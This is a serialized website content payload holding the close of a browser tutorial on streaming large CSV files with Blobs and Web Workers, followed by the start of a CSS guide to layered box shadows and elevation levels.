updating the DOM on every row — batch updates every few thousand rows or use ",[143,139917,139918],{},"requestAnimationFrame"," to keep the UI responsive.",[11,139921,139923],{"id":139922},"handling-the-output","Handling the Output",[16,139925,139926],{},"Even if you stream the input, accumulating all output rows in an array defeats the purpose. Consider these output strategies:",[193,139928,139929,139940],{},[196,139930,139931],{},[199,139932,139933,139935,139937],{},[202,139934,39330],{},[202,139936,31483],{},[202,139938,139939],{},"Memory Impact",[211,139941,139942,139953,139964,139975],{},[199,139943,139944,139947,139950],{},[216,139945,139946],{},"Download as file",[216,139948,139949],{},"Write rows to a Blob incrementally, trigger download",[216,139951,139952],{},"Constant — only current row in memory",[199,139954,139955,139958,139961],{},[216,139956,139957],{},"Virtual scrolling",[216,139959,139960],{},"Only render visible rows in the DOM",[216,139962,139963],{},"Proportional to viewport",[199,139965,139966,139969,139972],{},[216,139967,139968],{},"IndexedDB storage",[216,139970,139971],{},"Write rows to browser database in batches",[216,139973,139974],{},"Constant — backed by disk",[199,139976,139977,139980,139983],{},[216,139978,139979],{},"Server upload",[216,139981,139982],{},"Stream transformed rows to an API endpoint",[216,139984,139985],{},"Constant — sent and forgotten",[16,139987,139988],{},"For a CSV-to-JSON converter, the most practical approach is writing results to a Blob and offering a download when finished:",[135,139990,139992],{"className":1607,"code":139991,"language":1609,"meta":141,"style":141},"const chunks = [];\n\nfunction processRow(row) {\n  chunks.push(JSON.stringify(row) + '\\n');\n}\n\nfunction onFinish() {\n  const blob = new Blob(chunks, { type: 'application\u002Fjson' });\n  const url = URL.createObjectURL(blob);\n  \u002F\u002F Trigger download\n}\n",[143,139993,139994,140006,140010,140022,140050,140054,140058,140067,140088,140106,140111],{"__ignoreMap":141},[1560,139995,139996,139998,140001,140003],{"class":1562,"line":1563},[1560,139997,8180],{"class":1669},[1560,139999,140000],{"class":1576}," chunks",[1560,140002,8186],{"class":1669},[1560,140004,140005],{"class":1570}," [];\n",[1560,140007,140008],{"class":1562,"line":337},[1560,140009,1702],{"emptyLinePlaceholder":363},[1560,140011,140012,140014,140016,140018,140020],{"class":1562,"line":343},[1560,140013,8648],{"class":1669},[1560,140015,139807],{"class":1566},[1560,140017,1688],{"class":1570},[1560,140019,58185],{"class":2219},[1560,140021,9345],{"class":1570},[1560,140023,140024,140027,140029,140031,140033,140035,140037,140040,140042,140044,140046,140048],{"class":1562,"line":365},[1560,140025,140026],{"class":1570},"  chunks.",[1560,140028,38129],{"class":1566},[1560,140030,1688],{"class":1570},[1560,140032,13411],{"class":1576},[1560,140034,468],{"class":1570},[1560,140036,82298],{"class":1566},[1560,140038,140039],{"class":1570},"(row) ",[1560,140041,9448],{"class":1669},[1560,140043,9507],{"class":5634},[1560,140045,8222],{"class":1576},[1560,140047,9361],{"class":5634},[1560,140049,1744],{"class":1570},[1560,140051,140052],{"class":1562,"line":889},[1560,140053,1585],{"class":1570},[1560,140055,140056],{"class":1562,"line":1710},[1560,140057,1702],{"emptyLinePlaceholder":363},[1560,140059,140060,140062,140065],{"class":1562,"line":1717},[1560,140061,8648],{"class":1669},[1560,140063,140064],{"class":1566}," onFinish",[1560,140066,8654],{"class":1570},[1560,140068,140069,140071,140074,140076,140078,140081,140084,140086],{"class":1562,"line":1747},[1560,140070,28057],{"class":1669},[1560,140072,140073],{"class":1576}," blob",[1560,140075,8186],{"class":1669},[1560,140077,11489],{"class":1669},[1560,140079,140080],{"class":1566}," Blob",[1560,140082,140083],{"class":1570},"(chunks, { type: ",[1560,140085,82284],{"class":5634},[1560,140087,11630],{"class":1570},[1560,140089,140090,140092,140094,140096,140098,140100,140103],{"class":1562,"line":2507},[1560,140091,28057],{"class":1669},[1560,140093,33819],{"class":1576},[1560,140095,8186],{"class":1669},[1560,140097,100924],{"class":1576},[1560,140099,468],{"class":1570},[1560,140101,140102],{"class":1566},"createObjectURL",[1560,140104,140105],{"class":1570},"(blob);\n",[1560,140107,140108],{"class":1562,"line":2524},[1560,140109,140110],{"class":1649},"  \u002F\u002F Trigger download\n",[1560,140112,140113],{"class":1562,"line":2529},[1560,140114,1585],{"class":1570},[11,140116,140118],{"id":140117},"web-workers-for-heavy-processing","Web Workers for Heavy Processing",[16,140120,140121],{},"Parsing and transforming millions of rows on the main thread blocks the UI. Move the work to a Web Worker:",[135,140123,140125],{"className":1607,"code":140124,"language":1609,"meta":141,"style":141},"\u002F\u002F main.js\nconst worker = new Worker('csv-worker.js');\nworker.postMessage({ file }, [file]);\nworker.onmessage = (e) => {\n  if (e.data.type === 'progress') updateProgress(e.data.value);\n  if (e.data.type === 'result') downloadResult(e.data.blob);\n};\n\n\u002F\u002F csv-worker.js\nself.onmessage = async (e) => {\n  const file = e.data.file;\n  \u002F\u002F ... streaming parse + transform\n  self.postMessage({ type: 'result', blob });\n};\n",[143,140126,140127,140131,140149,140158,140176,140195,140214,140218,140222,140226,140246,140256,140261,140275],{"__ignoreMap":141},[1560,140128,140129],{"class":1562,"line":1563},[1560,140130,110749],{"class":1649},[1560,140132,140133,140135,140137,140139,140141,140143,140145,140147],{"class":1562,"line":337},[1560,140134,8180],{"class":1669},[1560,140136,110756],{"class":1576},[1560,140138,8186],{"class":1669},[1560,140140,11489],{"class":1669},[1560,140142,110763],{"class":1566},[1560,140144,1688],{"class":1570},[1560,140146,110768],{"class":5634},[1560,140148,1744],{"class":1570},[1560,140150,140151,140153,140155],{"class":1562,"line":343},[1560,140152,110779],{"class":1570},[1560,140154,110782],{"class":1566},[1560,140156,140157],{"class":1570},"({ file }, [file]);\n",[1560,140159,140160,140162,140164,140166,140168,140170,140172,140174],{"class":1562,"line":365},[1560,140161,110779],{"class":1570},[1560,140163,110792],{"class":1566},[1560,140165,8186],{"class":1669},[1560,140167,5181],{"class":1570},[1560,140169,96224],{"class":2219},[1560,140171,1733],{"class":1570},[1560,140173,11503],{"class":1669},[1560,140175,1571],{"class":1570},[1560,140177,140178,140180,140182,140184,140187,140189,140192],{"class":1562,"line":889},[1560,140179,27984],{"class":1669},[1560,140181,110811],{"class":1570},[1560,140183,23122],{"class":1669},[1560,140185,140186],{"class":5634}," 'progress'",[1560,140188,1733],{"class":1570},[1560,140190,140191],{"class":1566},"updateProgress",[1560,140193,140194],{"class":1570},"(e.data.value);\n",[1560,140196,140197,140199,140201,140203,140206,140208,140211],{"class":1562,"line":1710},[1560,140198,27984],{"class":1669},[1560,140200,110811],{"class":1570},[1560,140202,23122],{"class":1669},[1560,140204,140205],{"class":5634}," 'result'",[1560,140207,1733],{"class":1570},[1560,140209,140210],{"class":1566},"downloadResult",[1560,140212,140213],{"class":1570},"(e.data.blob);\n",[1560,140215,140216],{"class":1562,"line":1717},[1560,140217,6607],{"class":1570},[1560,140219,140220],{"class":1562,"line":1747},[1560,140221,1702],{"emptyLinePlaceholder":363},[1560,140223,140224],{"class":1562,"line":2507},[1560,140225,110888],{"class":1649},[1560,140227,140228,140230,140232,140234,140236,140238,140240,140242,140244],{"class":1562,"line":2524},[1560,140229,110893],{"class":1570},[1560,140231,110792],{"class":1566},[1560,140233,8186],{"class":1669},[1560,140235,110900],{"class":1669},[1560,140237,5181],{"class":1570},[1560,140239,96224],{"class":2219},[1560,140241,1733],{"class":1570},[1560,140243,11503],{"class":1669},[1560,140245,1571],{"class":1570},[1560,140247,140248,140250,140252,140254],{"class":1562,"line":2529},[1560,140249,28057],{"class":1669},[1560,140251,110917],{"class":1576},[1560,140253,8186],{"class":1669},[1560,140255,110922],{"class":1570},[1560,140257,140258],{"class":1562,"line":2534},[1560,140259,140260],{"class":1649},"  \u002F\u002F ... streaming parse + transform\n",[1560,140262,140263,140265,140267,140269,140272],{"class":1562,"line":2542},[1560,140264,110993],{"class":1570},[1560,140266,110782],{"class":1566},[1560,140268,110965],{"class":1570},[1560,140270,140271],{"class":5634},"'result'",[1560,140273,140274],{"class":1570},", blob });\n",[1560,140276,140277],{"class":1562,"line":2558},[1560,140278,6607],{"class":1570},[16,140280,140281,140282,140284],{},"Workers run on a separate thread, keeping the UI responsive even during heavy computation. Transfer the ",[143,140283,139374],{}," object to the worker to avoid duplicating the file in memory.",[11,140286,10393],{"id":10392},[41,140288,140289,140297,140303,140317],{},[44,140290,140291,140296],{},[47,140292,140293,140294],{},"Reading the entire file with ",[143,140295,111293],{}," — loads the whole file as a single string. Use streaming instead.",[44,140298,140299,140302],{},[47,140300,140301],{},"Accumulating all rows in an array"," — defeats the purpose of streaming input. Write to a Blob or storage incrementally.",[44,140304,140305,140308,140309,140312,140313,140316],{},[47,140306,140307],{},"Ignoring quoted newlines"," — a CSV field like ",[143,140310,140311],{},"\"line1\\nline2\""," contains a real newline. Naive ",[143,140314,140315],{},"split('\\n')"," breaks these rows.",[44,140318,140319,140322,140323,1531,140325,140328],{},[47,140320,140321],{},"Not yielding to the event loop"," — long synchronous loops freeze the UI. Use ",[143,140324,38273],{},[143,140326,140327],{},"setTimeout(0)"," to yield periodically.",[11,140330,1355],{"id":1354},[41,140332,140333,140340,140343,140346,140349,140352],{},[44,140334,140335,140336,140339],{},"Never load an entire large CSV into memory — use streaming reads via ",[143,140337,140338],{},"File.stream()"," or PapaParse.",[44,140341,140342],{},"Buffer partial lines at chunk boundaries to avoid splitting rows mid-field.",[44,140344,140345],{},"Write output incrementally to Blobs, IndexedDB, or a server — avoid accumulating all rows in an array.",[44,140347,140348],{},"Use Web Workers to keep the main thread responsive during heavy parsing.",[44,140350,140351],{},"Update progress indicators in batches, not on every row.",[44,140353,140354,140355,140357],{},"Handle quoted fields with embedded newlines — they break naive ",[143,140356,140315],{}," parsing.",[11,140359,286],{"id":285},[16,140361,140362,140363,468],{},"Convert CSV files of any size directly in the browser with the ",[98,140364,81194],{"href":81193},[2043,140366,100852],{},{"title":141,"searchDepth":337,"depth":337,"links":140368},[140369,140370,140371,140372,140373,140374,140375,140376,140377],{"id":110410,"depth":337,"text":110411},{"id":139368,"depth":337,"text":139369},{"id":139630,"depth":337,"text":139631},{"id":139762,"depth":337,"text":139763},{"id":139922,"depth":337,"text":139923},{"id":140117,"depth":337,"text":140118},{"id":10392,"depth":337,"text":10393},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Strategies for parsing and converting CSV files over 100MB without crashing the browser.",{"immutable":363},"\u002Fguides\u002Flarge-csv-processing",{"title":139355,"description":140378},"guides\u002Flarge-csv-processing","D-zerQaDrhOFjF_KppeKT-Mo4vNEJ6JwnirFXM0be6A",{"id":140385,"title":140386,"body":140387,"date":2070,"description":141736,"extension":361,"meta":141737,"navigation":363,"path":20296,"readingTime":1710,"seo":141740,"stem":141741,"__hash__":141742},"guides\u002Fguides\u002Flayered-box-shadows-depth.md","Layered Box Shadows for Depth: Creating Realistic Elevation in CSS",{"type":8,"value":140388,"toc":141721},[140389,140393,140398,140401,140579,140582,140593,140597,140600,140614,140617,140623,140627,140630,140634,140720,140724,140843,140847,140997,141001,141119,141123,141126,141371,141374,141460,141462,141465,141474,141673,141675,141695,141697,141703,141705,141718],[11,140390,140392],{"id":140391},"single-shadows-vs-layered-shadows","Single Shadows vs. Layered Shadows",[16,140394,26078,140395,140397],{},[143,140396,1880],{}," creates a uniform dark region behind an element. It works, but it looks artificial because real shadows are not uniform — they transition sharply near the object and soften as they spread outward.",[16,140399,140400],{},"Layered shadows approximate this physical behavior by stacking multiple shadow declarations with increasing blur and offset values.",[135,140402,140404],{"className":1554,"code":140403,"language":1556,"meta":141,"style":141},"\u002F* Single shadow — flat and artificial *\u002F\n.card {\n  box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);\n}\n\n\u002F* Layered shadows — natural depth *\u002F\n.card {\n  box-shadow:\n    0 1px 2px rgba(0, 0, 0, 0.07),\n    0 4px 8px rgba(0, 0, 0, 0.07),\n    0 16px 32px rgba(0, 0, 0, 0.07);\n}\n",[143,140405,140406,140411,140417,140453,140457,140461,140466,140472,140478,140511,140543,140575],{"__ignoreMap":141},[1560,140407,140408],{"class":1562,"line":1563},[1560,140409,140410],{"class":1649},"\u002F* Single shadow — flat and artificial *\u002F\n",[1560,140412,140413,140415],{"class":1562,"line":337},[1560,140414,1567],{"class":1566},[1560,140416,1571],{"class":1570},[1560,140418,140419,140421,140423,140425,140427,140429,140431,140433,140435,140437,140439,140441,140443,140445,140447,140449,140451],{"class":1562,"line":343},[1560,140420,18679],{"class":1576},[1560,140422,1663],{"class":1570},[1560,140424,5285],{"class":1576},[1560,140426,13574],{"class":1576},[1560,140428,1670],{"class":1669},[1560,140430,19321],{"class":1576},[1560,140432,1670],{"class":1669},[1560,140434,18694],{"class":1576},[1560,140436,1688],{"class":1570},[1560,140438,5285],{"class":1576},[1560,140440,1459],{"class":1570},[1560,140442,5285],{"class":1576},[1560,140444,1459],{"class":1570},[1560,140446,5285],{"class":1576},[1560,140448,1459],{"class":1570},[1560,140450,19693],{"class":1576},[1560,140452,1744],{"class":1570},[1560,140454,140455],{"class":1562,"line":365},[1560,140456,1585],{"class":1570},[1560,140458,140459],{"class":1562,"line":889},[1560,140460,1702],{"emptyLinePlaceholder":363},[1560,140462,140463],{"class":1562,"line":1710},[1560,140464,140465],{"class":1649},"\u002F* Layered shadows — natural depth *\u002F\n",[1560,140467,140468,140470],{"class":1562,"line":1717},[1560,140469,1567],{"class":1566},[1560,140471,1571],{"class":1570},[1560,140473,140474,140476],{"class":1562,"line":1747},[1560,140475,18679],{"class":1576},[1560,140477,19182],{"class":1570},[1560,140479,140480,140482,140484,140486,140488,140490,140492,140494,140496,140498,140500,140502,140504,140506,140509],{"class":1562,"line":2507},[1560,140481,19187],{"class":1576},[1560,140483,18868],{"class":1576},[1560,140485,1670],{"class":1669},[1560,140487,9426],{"class":1576},[1560,140489,1670],{"class":1669},[1560,140491,18694],{"class":1576},[1560,140493,1688],{"class":1570},[1560,140495,5285],{"class":1576},[1560,140497,1459],{"class":1570},[1560,140499,5285],{"class":1576},[1560,140501,1459],{"class":1570},[1560,140503,5285],{"class":1576},[1560,140505,1459],{"class":1570},[1560,140507,140508],{"class":1576},"0.07",[1560,140510,19216],{"class":1570},[1560,140512,140513,140515,140517,140519,140521,140523,140525,140527,140529,140531,140533,140535,140537,140539,140541],{"class":1562,"line":2524},[1560,140514,19187],{"class":1576},[1560,140516,13574],{"class":1576},[1560,140518,1670],{"class":1669},[1560,140520,13490],{"class":1576},[1560,140522,1670],{"class":1669},[1560,140524,18694],{"class":1576},[1560,140526,1688],{"class":1570},[1560,140528,5285],{"class":1576},[1560,140530,1459],{"class":1570},[1560,140532,5285],{"class":1576},[1560,140534,1459],{"class":1570},[1560,140536,5285],{"class":1576},[1560,140538,1459],{"class":1570},[1560,140540,140508],{"class":1576},[1560,140542,19216],{"class":1570},[1560,140544,140545,140547,140549,140551,140553,140555,140557,140559,140561,140563,140565,140567,140569,140571,140573],{"class":1562,"line":2529},[1560,140546,19187],{"class":1576},[1560,140548,19024],{"class":1576},[1560,140550,1670],{"class":1669},[1560,140552,42731],{"class":1576},[1560,140554,1670],{"class":1669},[1560,140556,18694],{"class":1576},[1560,140558,1688],{"class":1570},[1560,140560,5285],{"class":1576},[1560,140562,1459],{"class":1570},[1560,140564,5285],{"class":1576},[1560,140566,1459],{"class":1570},[1560,140568,5285],{"class":1576},[1560,140570,1459],{"class":1570},[1560,140572,140508],{"class":1576},[1560,140574,1744],{"class":1570},[1560,140576,140577],{"class":1562,"line":2534},[1560,140578,1585],{"class":1570},[16,140580,140581],{},"Notice three things about the layered version:",[77,140583,140584,140587,140590],{},[44,140585,140586],{},"Each layer uses the same low opacity — the darkness accumulates naturally",[44,140588,140589],{},"Each successive layer has larger offset and blur values",[44,140591,140592],{},"The result looks softer and more dimensional than a single shadow",[11,140594,140596],{"id":140595},"the-physics-of-shadows","The Physics of Shadows",[16,140598,140599],{},"In the real world, a light source casts two shadow components:",[41,140601,140602,140608],{},[44,140603,140604,140607],{},[47,140605,140606],{},"Umbra",": The darkest area, close to the object, where light is fully blocked",[44,140609,140610,140613],{},[47,140611,140612],{},"Penumbra",": The softer outer area where light is partly blocked",[16,140615,140616],{},"Layered shadows simulate this by using a tight, darker shadow for the umbra and progressively softer shadows for the penumbra.",[135,140618,140621],{"className":140619,"code":140620,"language":140},[138],"Object\n  │\n  ├─ Umbra (sharp, close)\n  │    └─ Shadow #1: 0 1px 2px rgba(0,0,0,0.10)\n  │\n  ├─ Penumbra (soft, medium)\n  │    └─ Shadow #2: 0 4px 8px rgba(0,0,0,0.07)\n  │\n  └─ Penumbra (very soft, far)\n       └─ Shadow #3: 0 16px 32px rgba(0,0,0,0.05)\n",[143,140622,140620],{"__ignoreMap":141},[11,140624,140626],{"id":140625},"shadow-recipes-by-elevation-level","Shadow Recipes by Elevation Level",[16,140628,140629],{},"Design systems like Material Design define elevation levels with specific shadow values. Here is a practical set:",[33,140631,140633],{"id":140632},"level-1-subtle-lift-buttons-chips","Level 1 — Subtle Lift (buttons, chips)",[135,140635,140637],{"className":1554,"code":140636,"language":1556,"meta":141,"style":141},".elevation-1 {\n  box-shadow:\n    0 1px 2px rgba(0, 0, 0, 0.05),\n    0 1px 3px rgba(0, 0, 0, 0.10);\n}\n",[143,140638,140639,140646,140652,140684,140716],{"__ignoreMap":141},[1560,140640,140641,140644],{"class":1562,"line":1563},[1560,140642,140643],{"class":1566},".elevation-1",[1560,140645,1571],{"class":1570},[1560,140647,140648,140650],{"class":1562,"line":337},[1560,140649,18679],{"class":1576},[1560,140651,19182],{"class":1570},[1560,140653,140654,140656,140658,140660,140662,140664,140666,140668,140670,140672,140674,140676,140678,140680,140682],{"class":1562,"line":343},[1560,140655,19187],{"class":1576},[1560,140657,18868],{"class":1576},[1560,140659,1670],{"class":1669},[1560,140661,9426],{"class":1576},[1560,140663,1670],{"class":1669},[1560,140665,18694],{"class":1576},[1560,140667,1688],{"class":1570},[1560,140669,5285],{"class":1576},[1560,140671,1459],{"class":1570},[1560,140673,5285],{"class":1576},[1560,140675,1459],{"class":1570},[1560,140677,5285],{"class":1576},[1560,140679,1459],{"class":1570},[1560,140681,19138],{"class":1576},[1560,140683,19216],{"class":1570},[1560,140685,140686,140688,140690,140692,140694,140696,140698,140700,140702,140704,140706,140708,140710,140712,140714],{"class":1562,"line":365},[1560,140687,19187],{"class":1576},[1560,140689,18868],{"class":1576},[1560,140691,1670],{"class":1669},[1560,140693,48433],{"class":1576},[1560,140695,1670],{"class":1669},[1560,140697,18694],{"class":1576},[1560,140699,1688],{"class":1570},[1560,140701,5285],{"class":1576},[1560,140703,1459],{"class":1570},[1560,140705,5285],{"class":1576},[1560,140707,1459],{"class":1570},[1560,140709,5285],{"class":1576},[1560,140711,1459],{"class":1570},[1560,140713,19013],{"class":1576},[1560,140715,1744],{"class":1570},[1560,140717,140718],{"class":1562,"line":889},[1560,140719,1585],{"class":1570},[33,140721,140723],{"id":140722},"level-2-card-cards-dialogs","Level 2 — Card (cards, dialogs)",[135,140725,140727],{"className":1554,"code":140726,"language":1556,"meta":141,"style":141},".elevation-2 {\n  box-shadow:\n    0 1px 2px rgba(0, 0, 0, 0.05),\n    0 4px 6px rgba(0, 0, 0, 0.07),\n    0 10px 15px rgba(0, 0, 0, 0.10);\n}\n",[143,140728,140729,140736,140742,140774,140806,140839],{"__ignoreMap":141},[1560,140730,140731,140734],{"class":1562,"line":1563},[1560,140732,140733],{"class":1566},".elevation-2",[1560,140735,1571],{"class":1570},[1560,140737,140738,140740],{"class":1562,"line":337},[1560,140739,18679],{"class":1576},[1560,140741,19182],{"class":1570},[1560,140743,140744,140746,140748,140750,140752,140754,140756,140758,140760,140762,140764,140766,140768,140770,140772],{"class":1562,"line":343},[1560,140745,19187],{"class":1576},[1560,140747,18868],{"class":1576},[1560,140749,1670],{"class":1669},[1560,140751,9426],{"class":1576},[1560,140753,1670],{"class":1669},[1560,140755,18694],{"class":1576},[1560,140757,1688],{"class":1570},[1560,140759,5285],{"class":1576},[1560,140761,1459],{"class":1570},[1560,140763,5285],{"class":1576},[1560,140765,1459],{"class":1570},[1560,140767,5285],{"class":1576},[1560,140769,1459],{"class":1570},[1560,140771,19138],{"class":1576},[1560,140773,19216],{"class":1570},[1560,140775,140776,140778,140780,140782,140784,140786,140788,140790,140792,140794,140796,140798,140800,140802,140804],{"class":1562,"line":365},[1560,140777,19187],{"class":1576},[1560,140779,13574],{"class":1576},[1560,140781,1670],{"class":1669},[1560,140783,43195],{"class":1576},[1560,140785,1670],{"class":1669},[1560,140787,18694],{"class":1576},[1560,140789,1688],{"class":1570},[1560,140791,5285],{"class":1576},[1560,140793,1459],{"class":1570},[1560,140795,5285],{"class":1576},[1560,140797,1459],{"class":1570},[1560,140799,5285],{"class":1576},[1560,140801,1459],{"class":1570},[1560,140803,140508],{"class":1576},[1560,140805,19216],{"class":1570},[1560,140807,140808,140810,140812,140814,140817,140819,140821,140823,140825,140827,140829,140831,140833,140835,140837],{"class":1562,"line":889},[1560,140809,19187],{"class":1576},[1560,140811,43241],{"class":1576},[1560,140813,1670],{"class":1669},[1560,140815,140816],{"class":1576}," 15",[1560,140818,1670],{"class":1669},[1560,140820,18694],{"class":1576},[1560,140822,1688],{"class":1570},[1560,140824,5285],{"class":1576},[1560,140826,1459],{"class":1570},[1560,140828,5285],{"class":1576},[1560,140830,1459],{"class":1570},[1560,140832,5285],{"class":1576},[1560,140834,1459],{"class":1570},[1560,140836,19013],{"class":1576},[1560,140838,1744],{"class":1570},[1560,140840,140841],{"class":1562,"line":1710},[1560,140842,1585],{"class":1570},[33,140844,140846],{"id":140845},"level-3-floating-dropdown-menus-popovers","Level 3 — Floating (dropdown menus, popovers)",[135,140848,140850],{"className":1554,"code":140849,"language":1556,"meta":141,"style":141},".elevation-3 {\n  box-shadow:\n    0 1px 2px rgba(0, 0, 0, 0.05),\n    0 4px 6px rgba(0, 0, 0, 0.05),\n    0 10px 15px rgba(0, 0, 0, 0.07),\n    0 20px 25px rgba(0, 0, 0, 0.10);\n}\n",[143,140851,140852,140859,140865,140897,140929,140961,140993],{"__ignoreMap":141},[1560,140853,140854,140857],{"class":1562,"line":1563},[1560,140855,140856],{"class":1566},".elevation-3",[1560,140858,1571],{"class":1570},[1560,140860,140861,140863],{"class":1562,"line":337},[1560,140862,18679],{"class":1576},[1560,140864,19182],{"class":1570},[1560,140866,140867,140869,140871,140873,140875,140877,140879,140881,140883,140885,140887,140889,140891,140893,140895],{"class":1562,"line":343},[1560,140868,19187],{"class":1576},[1560,140870,18868],{"class":1576},[1560,140872,1670],{"class":1669},[1560,140874,9426],{"class":1576},[1560,140876,1670],{"class":1669},[1560,140878,18694],{"class":1576},[1560,140880,1688],{"class":1570},[1560,140882,5285],{"class":1576},[1560,140884,1459],{"class":1570},[1560,140886,5285],{"class":1576},[1560,140888,1459],{"class":1570},[1560,140890,5285],{"class":1576},[1560,140892,1459],{"class":1570},[1560,140894,19138],{"class":1576},[1560,140896,19216],{"class":1570},[1560,140898,140899,140901,140903,140905,140907,140909,140911,140913,140915,140917,140919,140921,140923,140925,140927],{"class":1562,"line":365},[1560,140900,19187],{"class":1576},[1560,140902,13574],{"class":1576},[1560,140904,1670],{"class":1669},[1560,140906,43195],{"class":1576},[1560,140908,1670],{"class":1669},[1560,140910,18694],{"class":1576},[1560,140912,1688],{"class":1570},[1560,140914,5285],{"class":1576},[1560,140916,1459],{"class":1570},[1560,140918,5285],{"class":1576},[1560,140920,1459],{"class":1570},[1560,140922,5285],{"class":1576},[1560,140924,1459],{"class":1570},[1560,140926,19138],{"class":1576},[1560,140928,19216],{"class":1570},[1560,140930,140931,140933,140935,140937,140939,140941,140943,140945,140947,140949,140951,140953,140955,140957,140959],{"class":1562,"line":889},[1560,140932,19187],{"class":1576},[1560,140934,43241],{"class":1576},[1560,140936,1670],{"class":1669},[1560,140938,140816],{"class":1576},[1560,140940,1670],{"class":1669},[1560,140942,18694],{"class":1576},[1560,140944,1688],{"class":1570},[1560,140946,5285],{"class":1576},[1560,140948,1459],{"class":1570},[1560,140950,5285],{"class":1576},[1560,140952,1459],{"class":1570},[1560,140954,5285],{"class":1576},[1560,140956,1459],{"class":1570},[1560,140958,140508],{"class":1576},[1560,140960,19216],{"class":1570},[1560,140962,140963,140965,140967,140969,140971,140973,140975,140977,140979,140981,140983,140985,140987,140989,140991],{"class":1562,"line":1710},[1560,140964,19187],{"class":1576},[1560,140966,45999],{"class":1576},[1560,140968,1670],{"class":1669},[1560,140970,75697],{"class":1576},[1560,140972,1670],{"class":1669},[1560,140974,18694],{"class":1576},[1560,140976,1688],{"class":1570},[1560,140978,5285],{"class":1576},[1560,140980,1459],{"class":1570},[1560,140982,5285],{"class":1576},[1560,140984,1459],{"class":1570},[1560,140986,5285],{"class":1576},[1560,140988,1459],{"class":1570},[1560,140990,19013],{"class":1576},[1560,140992,1744],{"class":1570},[1560,140994,140995],{"class":1562,"line":1717},[1560,140996,1585],{"class":1570},[33,140998,141000],{"id":140999},"level-4-modal-modals-overlays","Level 4 — Modal (modals, overlays)",[135,141002,141004],{"className":1554,"code":141003,"language":1556,"meta":141,"style":141},".elevation-4 {\n  box-shadow:\n    0 2px 4px rgba(0, 0, 0, 0.05),\n    0 8px 16px rgba(0, 0, 0, 0.05),\n    0 24px 48px rgba(0, 0, 0, 0.10);\n}\n",[143,141005,141006,141013,141019,141051,141083,141115],{"__ignoreMap":141},[1560,141007,141008,141011],{"class":1562,"line":1563},[1560,141009,141010],{"class":1566},".elevation-4",[1560,141012,1571],{"class":1570},[1560,141014,141015,141017],{"class":1562,"line":337},[1560,141016,18679],{"class":1576},[1560,141018,19182],{"class":1570},[1560,141020,141021,141023,141025,141027,141029,141031,141033,141035,141037,141039,141041,141043,141045,141047,141049],{"class":1562,"line":343},[1560,141022,19187],{"class":1576},[1560,141024,9426],{"class":1576},[1560,141026,1670],{"class":1669},[1560,141028,13574],{"class":1576},[1560,141030,1670],{"class":1669},[1560,141032,18694],{"class":1576},[1560,141034,1688],{"class":1570},[1560,141036,5285],{"class":1576},[1560,141038,1459],{"class":1570},[1560,141040,5285],{"class":1576},[1560,141042,1459],{"class":1570},[1560,141044,5285],{"class":1576},[1560,141046,1459],{"class":1570},[1560,141048,19138],{"class":1576},[1560,141050,19216],{"class":1570},[1560,141052,141053,141055,141057,141059,141061,141063,141065,141067,141069,141071,141073,141075,141077,141079,141081],{"class":1562,"line":365},[1560,141054,19187],{"class":1576},[1560,141056,13490],{"class":1576},[1560,141058,1670],{"class":1669},[1560,141060,19024],{"class":1576},[1560,141062,1670],{"class":1669},[1560,141064,18694],{"class":1576},[1560,141066,1688],{"class":1570},[1560,141068,5285],{"class":1576},[1560,141070,1459],{"class":1570},[1560,141072,5285],{"class":1576},[1560,141074,1459],{"class":1570},[1560,141076,5285],{"class":1576},[1560,141078,1459],{"class":1570},[1560,141080,19138],{"class":1576},[1560,141082,19216],{"class":1570},[1560,141084,141085,141087,141089,141091,141093,141095,141097,141099,141101,141103,141105,141107,141109,141111,141113],{"class":1562,"line":889},[1560,141086,19187],{"class":1576},[1560,141088,18193],{"class":1576},[1560,141090,1670],{"class":1669},[1560,141092,48871],{"class":1576},[1560,141094,1670],{"class":1669},[1560,141096,18694],{"class":1576},[1560,141098,1688],{"class":1570},[1560,141100,5285],{"class":1576},[1560,141102,1459],{"class":1570},[1560,141104,5285],{"class":1576},[1560,141106,1459],{"class":1570},[1560,141108,5285],{"class":1576},[1560,141110,1459],{"class":1570},[1560,141112,19013],{"class":1576},[1560,141114,1744],{"class":1570},[1560,141116,141117],{"class":1562,"line":1710},[1560,141118,1585],{"class":1570},[11,141120,141122],{"id":141121},"dark-mode-shadows","Dark Mode Shadows",[16,141124,141125],{},"On dark backgrounds, pure-black shadows look harsh and create visible halo effects. Use a tinted shadow color instead — a dark version of your background color works well:",[135,141127,141129],{"className":1554,"code":141128,"language":1556,"meta":141,"style":141},"\u002F* Light mode *\u002F\n.card-light {\n  box-shadow:\n    0 1px 2px rgba(0, 0, 0, 0.07),\n    0 4px 8px rgba(0, 0, 0, 0.07),\n    0 16px 32px rgba(0, 0, 0, 0.07);\n}\n\n\u002F* Dark mode — use the background color as shadow base *\u002F\n.card-dark {\n  box-shadow:\n    0 1px 2px rgba(0, 0, 0, 0.30),\n    0 4px 8px rgba(0, 0, 0, 0.20),\n    0 16px 32px rgba(0, 0, 0, 0.15);\n}\n",[143,141130,141131,141135,141142,141148,141180,141212,141244,141248,141252,141257,141264,141270,141302,141335,141367],{"__ignoreMap":141},[1560,141132,141133],{"class":1562,"line":1563},[1560,141134,31984],{"class":1649},[1560,141136,141137,141140],{"class":1562,"line":337},[1560,141138,141139],{"class":1566},".card-light",[1560,141141,1571],{"class":1570},[1560,141143,141144,141146],{"class":1562,"line":343},[1560,141145,18679],{"class":1576},[1560,141147,19182],{"class":1570},[1560,141149,141150,141152,141154,141156,141158,141160,141162,141164,141166,141168,141170,141172,141174,141176,141178],{"class":1562,"line":365},[1560,141151,19187],{"class":1576},[1560,141153,18868],{"class":1576},[1560,141155,1670],{"class":1669},[1560,141157,9426],{"class":1576},[1560,141159,1670],{"class":1669},[1560,141161,18694],{"class":1576},[1560,141163,1688],{"class":1570},[1560,141165,5285],{"class":1576},[1560,141167,1459],{"class":1570},[1560,141169,5285],{"class":1576},[1560,141171,1459],{"class":1570},[1560,141173,5285],{"class":1576},[1560,141175,1459],{"class":1570},[1560,141177,140508],{"class":1576},[1560,141179,19216],{"class":1570},[1560,141181,141182,141184,141186,141188,141190,141192,141194,141196,141198,141200,141202,141204,141206,141208,141210],{"class":1562,"line":889},[1560,141183,19187],{"class":1576},[1560,141185,13574],{"class":1576},[1560,141187,1670],{"class":1669},[1560,141189,13490],{"class":1576},[1560,141191,1670],{"class":1669},[1560,141193,18694],{"class":1576},[1560,141195,1688],{"cla